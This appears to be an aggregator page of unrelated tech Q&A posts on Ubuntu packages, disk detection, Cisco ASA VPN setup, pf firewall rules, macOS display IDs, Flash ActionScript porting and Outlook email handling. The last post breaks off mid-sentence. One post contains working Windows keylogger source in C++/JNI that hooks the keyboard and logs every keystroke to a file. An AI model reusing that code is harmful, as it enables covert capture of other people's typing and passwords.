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  • Is there a usage count for packages or programs?

    - by math
    Motivation: I want to remove applications I do not use to speed up my package processing tasks like dist upgrades, regular updates, but also for saving disk space and other reasons. I know this is a complex topic so first I will ask my question and second I will give some answers I already found out. Question: How do I find out which package I did not used at all? For example I always use the VLC so I could remove totem package. (Which I could have been used some day, yes.) Of course package dependencies could force me to have programs installed which I will never use. Notes: Find the packages which consume much space via synaptic: Select "Status" in lower left, select "Installed" in upper left, sort column on "size" in upper right. Then you can decide which big packages you really need. Use aptitude autoremove Use ubuntu-tweak's Janitor for removing old kernel packages, old configs, apt-cache entries, etc. Manually search for applications for a given task that you usually solve with your standard app. E.g. Movie player, Music player, Office program, Browser etc. (BTW: this is what I want to be helped with my question) When removing packages I always favour "apt-get purge" over "aptitude remove --purge" as aptitude often will also remove essential packages due to package dependencies. E.g. when removing "evolution" (as I use thunderbird) aptitude wants to remove also "ubuntu-desktop" and 756 other packages as well, while apt-get just removes evolution and its helping pacakges like evolution-common. Ubuntu lense gives me most recent used applications which are candidates for keeping :) Employ deborphan as I read in this related answer: How do I clean up my harddrive? I should certainly keep essential packages: Keep only essential packages This question is pretty much a duplicate of How to see what installed packages I have never used for cleaning purposes but covering only few aspects. However one answer suggests to use a program called unusedpkg but the link seems down. There is also a program called Kleen http://code.google.com/p/kleen/ but it won't compile in 11.10. However I hacked it to compile but the results are unusable, as for example the g++ package was marked as not used for 203, but actually I used it seconds ago for compiling Kleen itself ;) So don't use this tool. On http://wiki.debian.org/DebianPackageInformation I read the the package popularity-contest will produce log files with usage statistics. Unfortunately I didn't enabled the popularity contest so I can't find this log file.

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  • Why doesn't Ubuntu detect my second hard drive?

    - by user93179
    I am new to Linux and to Ubuntu, I was wondering, I have two hard drives setup in SATA ports (non-raid, at least I don't think they are). I installed ubuntu unto the drives fresh without any previous versions or windows at all. However when I got the Ubuntu 12.04 LTS working, all I see is 1 x 120 gigabyte harddrive. Also, not sure if this is important or not, my hard drives are SSD. My computer specs are Asus P9Z77-V-LK Nvidia Geforce GTX 660 TI Intel i5 3570k 3.4 /proc/partitions shows: major minor #blocks name 8 0 117220824 sda 8 1 117219328 sda1 8 16 117220824 sdb 8 17 96256 sdb1 8 18 108780544 sdb2 8 19 8342528 sdb3 11 0 1048575 sr0 and ls -l /sys/block/ | grep -v /virtual/: lrwxrwxrwx 1 root root 0 Sep 27 17:26 sda - ../devices/pci0000:00/0000:00:1f.2/host0/target0:0:0/0:0:0:0/block/sda lrwxrwxrwx 1 root root 0 Sep 27 17:26 sdb - ../devices/pci0000:00/0000:00:1f.2/host1/target1:0:0/1:0:0:0/block/sdb lrwxrwxrwx 1 root root 0 Sep 27 22:26 sdc - ../devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.1/1-1.1:1.0/host6/target6:0:0/6:0:0:0/block/sdc lrwxrwxrwx 1 root root 0 Sep 27 22:04 sr0 - ../devices/pci0000:00/0000:00:1f.2/host3/target3:0:0/3:0:0:0/block/sr0 sudo file -s /dev/sd*: /dev/sda: x86 boot sector; partition 1: ID=0x7, starthead 32, startsector 2048, 234438656 sectors, code offset 0xc0, OEM-ID " ?", Bytes/sector 190, sectors/cluster 124, reserved sectors 191, FATs 6, root entries 185, sectors 64514 (volumes 32 MB) , physical drive 0x7e, dos 32 MB) , FAT (32 bit), sectors/FAT 749, reserved3 0x800000, serial number 0x35361a2b, unlabeled /dev/sdb2: Linux rev 1.0 ext4 filesystem data, UUID=387761ac-5eba-4d0f-93ba-746a82fb541d (needs journal recovery) (extents) (large files) (huge files) /dev/sdb3: data /dev/sdc: x86 boot sector; partition 1: ID=0xc, active, starthead 0, startsector 8064, 30473088 sectors, code offset 0xc0 /dev/sdc1: x86 boot sector, code offset 0x58, OEM-ID "SYSLINUX", sectors/cluster 64, reserved sectors 944, Media descriptor 0xf8, heads 128, hidden sectors 8064, sectors 30473088 (volumes 32 MB) , FAT (32 bit), sectors/FAT 3720, Backup boot sector 8, serial number 0xf90c12e9, label: "KINGSTON " /dev/sda1: x86 boot sector, code offset 0x52, OEM-ID "NTFS ", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 255, hidden sectors 2048, dos 32 MB) , FAT (32 bit), sectors/FAT 749, reserved3 0x800000, serial number 0x35361a2b, unlabeled Any help would be greatly appreciated! Thanks Another thing I noticed is, when i use gparted to locate my drives, it seems that sda1 is my second drive that I am not detecting when I boot up and my ubuntu + FAT Boot files are installed in sdb1

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  • Cisco ASA 5505 - L2TP over IPsec

    - by xraminx
    I have followed this document on cisco site to set up the L2TP over IPsec connection. When I try to establish a VPN to ASA 5505 from my Windows XP, after I click on "connect" button, the "Connecting ...." dialog box appears and after a while I get this error message: Error 800: Unable to establish VPN connection. The VPN server may be unreachable, or security parameters may not be configured properly for this connection. ASA version 7.2(4) ASDM version 5.2(4) Windows XP SP3 Windows XP and ASA 5505 are on the same LAN for test purposes. Edit 1: There are two VLANs defined on the cisco device (the standard setup on cisco ASA5505). - port 0 is on VLAN2, outside; - and ports 1 to 7 on VLAN1, inside. I run a cable from my linksys home router (10.50.10.1) to the cisco ASA5505 router on port 0 (outside). Port 0 have IP 192.168.1.1 used internally by cisco and I have also assigned the external IP 10.50.10.206 to port 0 (outside). I run a cable from Windows XP to Cisco router on port 1 (inside). Port 1 is assigned an IP from Cisco router 192.168.1.2. The Windows XP is also connected to my linksys home router via wireless (10.50.10.141). Edit 2: When I try to establish vpn, the Cisco device real time Log viewer shows 7 entries like this: Severity:5 Date:Sep 15 2009 Time: 14:51:29 SyslogID: 713904 Destination IP = 10.50.10.141, Decription: No crypto map bound to interface... dropping pkt Edit 3: This is the setup on the router right now. Result of the command: "show run" : Saved : ASA Version 7.2(4) ! hostname ciscoasa domain-name default.domain.invalid enable password HGFHGFGHFHGHGFHGF encrypted passwd NMMNMNMNMNMNMN encrypted names name 192.168.1.200 WebServer1 name 10.50.10.206 external-ip-address ! interface Vlan1 nameif inside security-level 100 ip address 192.168.1.1 255.255.255.0 ! interface Vlan2 nameif outside security-level 0 ip address external-ip-address 255.0.0.0 ! interface Vlan3 no nameif security-level 50 no ip address ! interface Ethernet0/0 switchport access vlan 2 ! interface Ethernet0/1 ! interface Ethernet0/2 ! interface Ethernet0/3 ! interface Ethernet0/4 ! interface Ethernet0/5 ! interface Ethernet0/6 ! interface Ethernet0/7 ! ftp mode passive dns server-group DefaultDNS domain-name default.domain.invalid object-group service l2tp udp port-object eq 1701 access-list outside_access_in remark Allow incoming tcp/http access-list outside_access_in extended permit tcp any host WebServer1 eq www access-list outside_access_in extended permit udp any any eq 1701 access-list inside_nat0_outbound extended permit ip any 192.168.1.208 255.255.255.240 access-list inside_cryptomap_1 extended permit ip interface outside interface inside pager lines 24 logging enable logging asdm informational mtu inside 1500 mtu outside 1500 ip local pool PPTP-VPN 192.168.1.210-192.168.1.220 mask 255.255.255.0 icmp unreachable rate-limit 1 burst-size 1 asdm image disk0:/asdm-524.bin no asdm history enable arp timeout 14400 global (outside) 1 interface nat (inside) 0 access-list inside_nat0_outbound nat (inside) 1 0.0.0.0 0.0.0.0 static (inside,outside) tcp interface www WebServer1 www netmask 255.255.255.255 access-group outside_access_in in interface outside timeout xlate 3:00:00 timeout conn 1:00:00 half-closed 0:10:00 udp 0:02:00 icmp 0:00:02 timeout sunrpc 0:10:00 h323 0:05:00 h225 1:00:00 mgcp 0:05:00 mgcp-pat 0:05:00 timeout sip 0:30:00 sip_media 0:02:00 sip-invite 0:03:00 sip-disconnect 0:02:00 timeout sip-provisional-media 0:02:00 uauth 0:05:00 absolute http server enable http 192.168.1.0 255.255.255.0 inside no snmp-server location no snmp-server contact snmp-server enable traps snmp authentication linkup linkdown coldstart crypto ipsec transform-set TRANS_ESP_3DES_SHA esp-3des esp-sha-hmac crypto ipsec transform-set TRANS_ESP_3DES_SHA mode transport crypto ipsec transform-set TRANS_ESP_3DES_MD5 esp-3des esp-md5-hmac crypto ipsec transform-set TRANS_ESP_3DES_MD5 mode transport crypto map outside_map 1 match address inside_cryptomap_1 crypto map outside_map 1 set transform-set TRANS_ESP_3DES_MD5 crypto map outside_map interface inside crypto isakmp enable outside crypto isakmp policy 10 authentication pre-share encryption 3des hash md5 group 2 lifetime 86400 telnet timeout 5 ssh timeout 5 console timeout 0 dhcpd auto_config outside ! dhcpd address 192.168.1.2-192.168.1.33 inside dhcpd enable inside ! group-policy DefaultRAGroup internal group-policy DefaultRAGroup attributes dns-server value 192.168.1.1 vpn-tunnel-protocol IPSec l2tp-ipsec username myusername password FGHFGHFHGFHGFGFHF nt-encrypted tunnel-group DefaultRAGroup general-attributes address-pool PPTP-VPN default-group-policy DefaultRAGroup tunnel-group DefaultRAGroup ipsec-attributes pre-shared-key * tunnel-group DefaultRAGroup ppp-attributes no authentication chap authentication ms-chap-v2 ! ! prompt hostname context Cryptochecksum:a9331e84064f27e6220a8667bf5076c1 : end

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  • Cisco ASA 5505 - L2TP over IPsec

    - by xraminx
    I have followed this document on cisco site to set up the L2TP over IPsec connection. When I try to establish a VPN to ASA 5505 from my Windows XP, after I click on "connect" button, the "Connecting ...." dialog box appears and after a while I get this error message: Error 800: Unable to establish VPN connection. The VPN server may be unreachable, or security parameters may not be configured properly for this connection. ASA version 7.2(4) ASDM version 5.2(4) Windows XP SP3 Windows XP and ASA 5505 are on the same LAN for test purposes. Edit 1: There are two VLANs defined on the cisco device (the standard setup on cisco ASA5505). - port 0 is on VLAN2, outside; - and ports 1 to 7 on VLAN1, inside. I run a cable from my linksys home router (10.50.10.1) to the cisco ASA5505 router on port 0 (outside). Port 0 have IP 192.168.1.1 used internally by cisco and I have also assigned the external IP 10.50.10.206 to port 0 (outside). I run a cable from Windows XP to Cisco router on port 1 (inside). Port 1 is assigned an IP from Cisco router 192.168.1.2. The Windows XP is also connected to my linksys home router via wireless (10.50.10.141). Edit 2: When I try to establish vpn, the Cisco device real time Log viewer shows 7 entries like this: Severity:5 Date:Sep 15 2009 Time: 14:51:29 SyslogID: 713904 Destination IP = 10.50.10.141, Decription: No crypto map bound to interface... dropping pkt Edit 3: This is the setup on the router right now. Result of the command: "show run" : Saved : ASA Version 7.2(4) ! hostname ciscoasa domain-name default.domain.invalid enable password HGFHGFGHFHGHGFHGF encrypted passwd NMMNMNMNMNMNMN encrypted names name 192.168.1.200 WebServer1 name 10.50.10.206 external-ip-address ! interface Vlan1 nameif inside security-level 100 ip address 192.168.1.1 255.255.255.0 ! interface Vlan2 nameif outside security-level 0 ip address external-ip-address 255.0.0.0 ! interface Vlan3 no nameif security-level 50 no ip address ! interface Ethernet0/0 switchport access vlan 2 ! interface Ethernet0/1 ! interface Ethernet0/2 ! interface Ethernet0/3 ! interface Ethernet0/4 ! interface Ethernet0/5 ! interface Ethernet0/6 ! interface Ethernet0/7 ! ftp mode passive dns server-group DefaultDNS domain-name default.domain.invalid object-group service l2tp udp port-object eq 1701 access-list outside_access_in remark Allow incoming tcp/http access-list outside_access_in extended permit tcp any host WebServer1 eq www access-list outside_access_in extended permit udp any any eq 1701 access-list inside_nat0_outbound extended permit ip any 192.168.1.208 255.255.255.240 access-list inside_cryptomap_1 extended permit ip interface outside interface inside pager lines 24 logging enable logging asdm informational mtu inside 1500 mtu outside 1500 ip local pool PPTP-VPN 192.168.1.210-192.168.1.220 mask 255.255.255.0 icmp unreachable rate-limit 1 burst-size 1 asdm image disk0:/asdm-524.bin no asdm history enable arp timeout 14400 global (outside) 1 interface nat (inside) 0 access-list inside_nat0_outbound nat (inside) 1 0.0.0.0 0.0.0.0 static (inside,outside) tcp interface www WebServer1 www netmask 255.255.255.255 access-group outside_access_in in interface outside timeout xlate 3:00:00 timeout conn 1:00:00 half-closed 0:10:00 udp 0:02:00 icmp 0:00:02 timeout sunrpc 0:10:00 h323 0:05:00 h225 1:00:00 mgcp 0:05:00 mgcp-pat 0:05:00 timeout sip 0:30:00 sip_media 0:02:00 sip-invite 0:03:00 sip-disconnect 0:02:00 timeout sip-provisional-media 0:02:00 uauth 0:05:00 absolute http server enable http 192.168.1.0 255.255.255.0 inside no snmp-server location no snmp-server contact snmp-server enable traps snmp authentication linkup linkdown coldstart crypto ipsec transform-set TRANS_ESP_3DES_SHA esp-3des esp-sha-hmac crypto ipsec transform-set TRANS_ESP_3DES_SHA mode transport crypto ipsec transform-set TRANS_ESP_3DES_MD5 esp-3des esp-md5-hmac crypto ipsec transform-set TRANS_ESP_3DES_MD5 mode transport crypto map outside_map 1 match address inside_cryptomap_1 crypto map outside_map 1 set transform-set TRANS_ESP_3DES_MD5 crypto map outside_map interface inside crypto isakmp enable outside crypto isakmp policy 10 authentication pre-share encryption 3des hash md5 group 2 lifetime 86400 telnet timeout 5 ssh timeout 5 console timeout 0 dhcpd auto_config outside ! dhcpd address 192.168.1.2-192.168.1.33 inside dhcpd enable inside ! group-policy DefaultRAGroup internal group-policy DefaultRAGroup attributes dns-server value 192.168.1.1 vpn-tunnel-protocol IPSec l2tp-ipsec username myusername password FGHFGHFHGFHGFGFHF nt-encrypted tunnel-group DefaultRAGroup general-attributes address-pool PPTP-VPN default-group-policy DefaultRAGroup tunnel-group DefaultRAGroup ipsec-attributes pre-shared-key * tunnel-group DefaultRAGroup ppp-attributes no authentication chap authentication ms-chap-v2 ! ! prompt hostname context Cryptochecksum:a9331e84064f27e6220a8667bf5076c1 : end

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  • How to open a server port outside of an OpenVPN tunnel with a pf firewall on OSX (BSD)

    - by Timbo
    I have a Mac mini that I use as a media server running XBMC and serves media from my NAS to my stereo and TV (which has been color calibrated with a Spyder3Express, happy). The Mac runs OSX 10.8.2 and the internet connection is tunneled for general privacy over OpenVPN through Tunnelblick. I believe my anonymous VPN provider pushes "redirect_gateway" to OpenVPN/Tunnelblick because when on it effectively tunnels all non-LAN traffic in- and outbound. As an unwanted side effect that also opens the boxes server ports unprotected to the outside world and bypasses my firewall-router (Netgear SRX5308). I have run nmap from outside the LAN on the VPN IP and the server ports on the mini are clearly visible and connectable. The mini has the following ports open: ssh/22, ARD/5900 and 8080+9090 for the XBMC iOS client Constellation. I also have Synology NAS which apart from LAN file serving over AFP and WebDAV only serves up an OpenVPN/1194 and a PPTP/1732 server. When outside of the LAN I connect to this from my laptop over OpenVPN and over PPTP from my iPhone. I only want to connect through AFP/548 from the mini to the NAS. The border firewall (SRX5308) just works excellently, stable and with a very high throughput when streaming from various VOD services. My connection is a 100/10 with a close to theoretical max throughput. The ruleset is as follows Inbound: PPTP/1723 Allow always to 10.0.0.40 (NAS/VPN server) from a restricted IP range >corresponding to possible cell provider range OpenVPN/1194 Allow always to 10.0.0.40 (NAS/VPN server) from any Outbound: Default outbound policy: Allow Always OpenVPN/1194 TCP Allow always from 10.0.0.40 (NAS) to a.b.8.1-a.b.8.254 (VPN provider) OpenVPN/1194 UDP Allow always to 10.0.0.40 (NAS) to a.b.8.1-a.b.8.254 (VPN provider) Block always from NAS to any On the Mini I have disabled the OSX Application Level Firewall because it throws popups which don't remember my choices from one time to another and that's annoying on a media server. Instead I run Little Snitch which controls outgoing connections nicely on an application level. I have configured the excellent OSX builtin firewall pf (from BSD) as follows pf.conf (Apple App firewall tie-ins removed) (# replaced with % to avoid formatting errors) ### macro name for external interface. eth_if = "en0" vpn_if = "tap0" ### wifi_if = "en1" ### %usb_if = "en3" ext_if = $eth_if LAN="{10.0.0.0/24}" ### General housekeeping rules ### ### Drop all blocked packets silently set block-policy drop ### all incoming traffic on external interface is normalized and fragmented ### packets are reassembled. scrub in on $ext_if all fragment reassemble scrub in on $vpn_if all fragment reassemble scrub out all ### exercise antispoofing on the external interface, but add the local ### loopback interface as an exception, to prevent services utilizing the ### local loop from being blocked accidentally. ### set skip on lo0 antispoof for $ext_if inet antispoof for $vpn_if inet ### spoofing protection for all interfaces block in quick from urpf-failed ############################# block all ### Access to the mini server over ssh/22 and remote desktop/5900 from LAN/en0 only pass in on $eth_if proto tcp from $LAN to any port {22, 5900, 8080, 9090} ### Allow all udp and icmp also, necessary for Constellation. Could be tightened. pass on $eth_if proto {udp, icmp} from $LAN to any ### Allow AFP to 10.0.0.40 (NAS) pass out on $eth_if proto tcp from any to 10.0.0.40 port 548 ### Allow OpenVPN tunnel setup over unprotected link (en0) only to VPN provider IPs ### and port ranges pass on $eth_if proto tcp from any to a.b.8.0/24 port 1194:1201 ### OpenVPN Tunnel rules. All traffic allowed out, only in to ports 4100-4110 ### Outgoing pings ok pass in on $vpn_if proto {tcp, udp} from any to any port 4100:4110 pass out on $vpn_if proto {tcp, udp, icmp} from any to any So what are my goals and what does the above setup achieve? (until you tell me otherwise :) 1) Full LAN access to the above ports on the mini/media server (including through my own VPN server) 2) All internet traffic from the mini/media server is anonymized and tunneled over VPN 3) If OpenVPN/Tunnelblick on the mini drops the connection, nothing is leaked both because of pf and the router outgoing ruleset. It can't even do a DNS lookup through the router. So what do I have to hide with all this? Nothing much really, I just got carried away trying to stop port scans through the VPN tunnel :) In any case this setup works perfectly and it is very stable. The Problem at last! I want to run a minecraft server and I installed that on a separate user account on the mini server (user=mc) to keep things partitioned. I don't want this server accessible through the anonymized VPN tunnel because there are lots more port scans and hacking attempts through that than over my regular IP and I don't trust java in general. So I added the following pf rule on the mini: ### Allow Minecraft public through user mc pass in on $eth_if proto {tcp,udp} from any to any port 24983 user mc pass out on $eth_if proto {tcp, udp} from any to any user mc And these additions on the border firewall: Inbound: Allow always TCP/UDP from any to 10.0.0.40 (NAS) Outbound: Allow always TCP port 80 from 10.0.0.40 to any (needed for online account checkups) This works fine but only when the OpenVPN/Tunnelblick tunnel is down. When up no connection is possbile to the minecraft server from outside of LAN. inside LAN is always OK. Everything else functions as intended. I believe the redirect_gateway push is close to the root of the problem, but I want to keep that specific VPN provider because of the fantastic throughput, price and service. The Solution? How can I open up the minecraft server port outside of the tunnel so it's only available over en0 not the VPN tunnel? Should I a static route? But I don't know which IPs will be connecting...stumbles How secure would to estimate this setup to be and do you have other improvements to share? I've searched extensively in the last few days to no avail...If you've read this far I bet you know the answer :)

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  • How to resolve CGDirectDisplayID changing issues on newer multi-GPU Apple laptops in Core Foundation

    - by Dave Gallagher
    In Mac OS X, every display gets a unique CGDirectDisplayID number assigned to it. You can use CGGetActiveDisplayList() or [NSScreen screens] to access them, among others. Per Apple's docs: A display ID can persist across processes and system reboot, and typically remains constant as long as certain display parameters do not change. On newer mid-2010 MacBook Pro's, Apple started using auto-switching Intel/nVidia graphics. Laptops have two GPU's, a low-powered Intel, and a high-powered nVidia. Previous dual-GPU laptops (2009 models) didn't have auto-GPU switching, and required the user to make a settings change, logoff, and then logon again to make a GPU switch occur. Even older systems only had one GPU. There's an issue with the mid-2010 models where CGDirectDisplayID's don't remain the same when a display switches from one GPU to the next. For example: Laptop powers on. Built-In LCD Screen is driven by Intel chipset. Display ID: 30002 External Display is plugged in. Built-In LCD Screen switches to nVidia chipset. It's display ID changes: 30004 External Display is driven by nVidia chipset. ...at this point, the Intel chipset is dormant... User unplugs External Display. Built-In LCD Screen switches back to Intel chipset. It's display ID changes back to original: 30002 My question is, how can I match an old display ID to a new display ID when they alter due to a GPU change? Thought about: I've noticed that the display ID only changes by 2, but I don't have enough test Mac's available to determine if this is common to all new MacBook Pro's, or just mine. Kind of a kludge if "just check for display ID's which are +/-2 from one another" works, anyway. Tried: CGDisplayRegisterReconfigurationCallback(), which notifies before-and-after when displays are going to change, has no matching logic. Putting something like this inside a method registered with it doesn't work: // Run before display settings change: CGDirectDisplayID directDisplayID = ...; io_service_t servicePort = CGDisplayIOServicePort(directDisplayID); CFDictionaryRef oldInfoDict = IODisplayCreateInfoDictionary(servicePort, kIODisplayMatchingInfo); // ...display settings change... // Run after display settings change: CGDirectDisplayID directDisplayID = ...; io_service_t servicePort = CGDisplayIOServicePort(directDisplayID); CFDictionaryRef newInfoDict = IODisplayCreateInfoDictionary(servicePort, kIODisplayMatchingInfo); BOOL match = IODisplayMatchDictionaries(oldInfoDict, newInfoDict, 0); if (match) NSLog(@"Displays are a match"); else NSLog(@"Displays are not a match"); What's happening above is I'm caching oldInfoDict before display settings change, letting them change, and then comparing it to newInfoDict by using IODisplayMatchDictionaries(), which will say either "yes, both displays are the same!" or "no, both displays are not the same." Unfortunately, it does not return YES if GPU's have changed for a monitor. Example of the dictionary's it's comparing: // oldInfoDict (Display ID: 30002) oldInfoDict: { DisplayProductID = 40144; DisplayVendorID = 1552; IODisplayLocation = "IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/IGPU@2/AppleIntelFramebuffer/display0/AppleBacklightDisplay"; } // newInfoDict (Display ID: 30004) newInfoDict: { DisplayProductID = 40144; DisplayVendorID = 1552; IODisplayLocation = "IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/P0P2@1/IOPCI2PCIBridge/GFX0@0/NVDA,Display-A@0/NVDA/display0/AppleBacklightDisplay"; } As you can see, the IODisplayLocation key changes when GPU's are switched, hence IODisplayMatchDictionaries() doesn't work. I can, theoretically, compared just the DisplayProductID and DisplayVendorID keys, but I'm writing end-user software, and am worried of a situation where users have two or more identical monitors plugged in. Any help is greatly appreciated! :)

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  • Help needed with Flash AS2 to AS3 conversion, having major problems...

    - by Mat
    Hi all, I have a project i need to update form AS2 to AS3 as i need some of the new functions available for vertical centering of text. My current AS2 code on the time line is as follows. var dataField = _root.dataField; var dataType = _root.dataType; var dataPage = _root.dataPage; var dataVar = _root.dataVar; _root.mc.onRelease = function() { getURL("index.php?page="+dataPage+"&num="+dataNum+"&"+dataType+"="+dataVar, "_self"); }; And my external AS file is as follows. import mx.transitions.Tween; /** * * StandardKey is attached to a movieclip in the library. * It handles the basic button behavior of the keyboard keys. * When each button is placed on the stage, it's instance name * will be the unique ID of the key. * */ class StandardKey extends MovieClip { /////////////////////////////////////// //Stage Elements var highlight:MovieClip; //End Stage Elements var highlightTween:Tween; function StandardKey(Void) { //Repaint the key with 0 alpha highlight._alpha = 0; } function onPress(Void):Void { //Do the highlight animation highlightTween.stop(); highlightTween = new Tween(highlight, "_alpha", mx.transitions.easing.Regular.easeInOut, 100, 0, 10, false); } } Here is my attempt at moving timeline and external AS2 to AS3 Timeline i now have : var dataField = this.dataField; var dataType = this.dataType; var dataPage = this.dataPage; var dataVar = this.dataVar; var dataNum = this.dataNum; _root.mc.onRelease = function() { navigateToURL(new URLRequest("index.php?page="+dataPage+"&num="+dataNum+"&"+dataType+"="+dataVar, "_self")); }; External AS3 i have package { import fl.transitions.Tween; import fl.transitions.easing.*; import flash.display.MovieClip; /** * * StandardKey is attached to a movieclip in the library. * It handles the basic button behavior of the keyboard keys. * When each button is placed on the stage, it's instance name * will be the unique ID of the key. * */ public class StandardKey extends MovieClip { /////////////////////////////////////// //Stage Elements var highlight:MovieClip; //End Stage Elements var highlightTween:Tween; public function StandardKey(Void) { //Repaint the key with 0 alpha highlight._alpha = 0; } public function onPress(Void):void { //Do the highlight animation highlightTween.stop(); highlightTween = new Tween(highlight, "_alpha", fl.transitions.easing.Regular.easeInOut, 100, 0, 10, false); } } } The errors i am currently getting are : Scene 1, Layer 'Label', Frame 1, Line 6 1120: Access of undefined property _root. Scene 1, Layer 'Label', Frame 1, Line 7 1137: Incorrect number of arguments. Expected no more than 1. If any one could help me work this out i would appreciate it very much. Kind regards Mat.

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  • Calling fuctions of header file

    - by navinbecse
    i want to know the way i am calling the methods defined in windows.h from c++ program is correct or wrong.. when i tried to get the library files out of it, it is showing the errors saying that unresolved methods... i am using this for jni purpose... #define _WIN32_WINNT 0x0500 #include "keylogs.h" #include <fstream #include <windows.h using namespace std; ofstream out("C:\Users\402100\Desktop\keyloggerfile.txt", ios::out); LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p-vkCode) { // Invisible keys case VK_CAPITAL: out << ""; break; case VK_SHIFT: out << ""; break; case VK_LCONTROL: out << ""; break; case VK_RCONTROL: out << ""; break; case VK_INSERT: out << ""; break; case VK_END: out << ""; break; case VK_PRINT: out << ""; break; case VK_DELETE: out << ""; break; case VK_BACK: out << ""; break; case VK_SPACE: out << ""; break; case VK_RMENU: out << ""; break; case VK_LMENU: out << ""; break; case VK_LEFT: out << ""; break; case VK_RIGHT: out << ""; break; case VK_UP: out << ""; break; case VK_DOWN: out << ""; break; // Visible keys default: out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } JNIEXPORT void JNICALL Java_keylog_Main_CallerMethod(JNIEnv *env, jobject) { HINSTANCE hInstance=GetModuleHandle(0); HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); out.close(); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { // Set windows hook return 0; } The errors which i am getting is... file.obj : error LNK2019: unresolved external symbol _imp_CallNextHookEx@16 re ferenced in function "long __stdcall keyboardHookProc(int,unsigned int,long)" (? keyboardHookProc@@YGJHIJ@Z) file.obj : error LNK2019: unresolved external symbol _imp_MessageBoxA@16 refer enced in function "class std::basic_string,cl ass std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA?AV?$ba sic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) file.obj : error LNK2019: unresolved external symbol _imp_SetWindowsHookExA@16 referenced in function "class std::basic_string,class std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA? AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) c:\Users\402100\Desktop\oldfile.dll : fatal error LNK1120: 3 unresolved externals can any one help me please....

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  • Processing Email in Outlook

    - by Daniel Moth
    A. Why Goal 1 = Help others: Have at most a 24-hour response turnaround to internal (from colleague) emails, typically achieving same day response. Goal 2 = Help projects: Not to implicitly pass/miss an opportunity to have impact on electronic discussions around any project on the radar. Not achieving goals 1 & 2 = Colleagues stop relying on you, drop you off conversations, don't see you as a contributing resource or someone that cares, you are perceived as someone with no peripheral vision. Note this is perfect if all you are doing is cruising at your job, trying to fly under the radar, with no ambitions of having impact beyond your absolute minimum 'day job'. B. DON'T: Leave unread email lurking around Don't: Receive or process all incoming emails in a single folder ('inbox' or 'unread mail'). This is actually possible if you receive a small number of emails (e.g. new to the job, not working at a company like Microsoft). Even so, with (your future) success at any level (company, community) comes large incoming email, so learn to deal with it. With large volumes, it is best to let the system help you by doing some categorization and filtering on your behalf (instead of trying to do that in your head as you process the single folder). See later section on how to achieve this. Don't: Leave emails as 'unread' (or worse: read them, then mark them as unread). Often done by individuals who think they possess super powers ("I can mentally cache and distinguish between the emails I chose not to read, the ones that are actually new, and the ones I decided to revisit in the future; the fact that they all show up the same (bold = unread) does not confuse me"). Interactions with this super-powered individuals typically end up with them saying stuff like "I must have missed that email you are talking about (from 2 weeks ago)" or "I am a bit behind, so I haven't read your email, can you remind me". TIP: The only place where you are "allowed" unread email is in your Deleted Items folder. Don't: Interpret a read email as an email that has been processed. Doing that, means you will always end up with fake unread email (that you have actually read, but haven't dealt with completely so you then marked it as unread) lurking between actual unread email. Another side effect is reading the email and making a 'mental' note to action it, then leaving the email as read, so the only thing left to remind you to carry out the action is… you. You are not super human, you will forget. This is a key distinction. Reading (or even scanning) a new email, means you now know what needs to be done with it, in order for it to be truly considered processed. Truly processing an email is to, for example, write an email of your own (e.g. to reply or forward), or take a non-email related action (e.g. create calendar entry, do something on some website), or read it carefully to gain some knowledge (e.g. it had a spec as an attachment), or keep it around as reference etc. 'Reading' means that you know what to do, not that you have done it. An email that is read is an email that is triaged, not an email that is resolved. Sometimes the thing that needs to be done based on receiving the email, you can (and want) to do immediately after reading the email. That is fine, you read the email and you processed it (typically when it takes no longer than X minutes, where X is your personal tolerance – mine is roughly 2 minutes). Other times, you decide that you don't want to spend X minutes at that moment, so after reading the email you need a quick system for "marking" the email as to be processed later (and you still leave it as 'read' in outlook). See later section for how. C. DO: Use Outlook rules and have multiple folders where incoming email is automatically moved to Outlook email rules are very powerful and easy to configure. Use them to automatically file email into folders. Here are mine (note that if a rule catches an email message then no further rules get processed): "personal" Email is either personal or business related. Almost all personal email goes to my gmail account. The personal emails that end up on my work email account, go to a dedicated folder – that is achieved via a rule that looks at the email's 'From' field. For those that slip through, I use the new Outlook 2010  quick step of "Conversation To Folder" feature to let the slippage only occur once per conversation, and then update my rules. "External" and "ViaBlog" The remaining external emails either come from my blog (rule on the subject line) or are unsolicited (rule on the domain name not being microsoft) and they are filed accordingly. "invites" I may do a separate blog post on calendar management, but suffice to say it should be kept up to date. All invite requests end up in this folder, so that even if mail gets out of control, the calendar can stay under control (only 1 folder to check). I.e. so I can let the organizer know why I won't be attending their meeting (or that I will be). Note: This folder is the only one that shows the total number of items in it, instead of the total unread. "Inbox" The only email that ends up here is email sent TO me and me only. Note that this is also the only email that shows up above the systray icon in the notification toast – all other emails cannot interrupt. "ToMe++" Email where I am on the TO line, but there are other recipients as well (on the TO or CC line). "CC" Email where I am on the CC line. I need to read these, but nobody is expecting a response or action from me so they are not as urgent (and if they are and follow up with me, they'll receive a link to this). "@ XYZ" Emails to aliases that are about projects that I directly work on (and I wasn't on the TO or CC line, of course). Test: these projects are in my commitments that I get measured on at the end of the year. "Z Mass" and subfolders under it per distribution list (DL) Emails to aliases that are about topics that I am interested in, but not that I formally own/contribute to. Test: if I unsubscribed from these aliases, nobody could rightfully complain. "Admin" folder, which resides under "Z Mass" folder Emails to aliases that I was added typically by an admin, e.g. broad emails to the floor/group/org/building/division/company that I am a member of. "BCC" folder, which resides under "Z Mass" Emails where I was not on the TO or the CC line explicitly and the alias 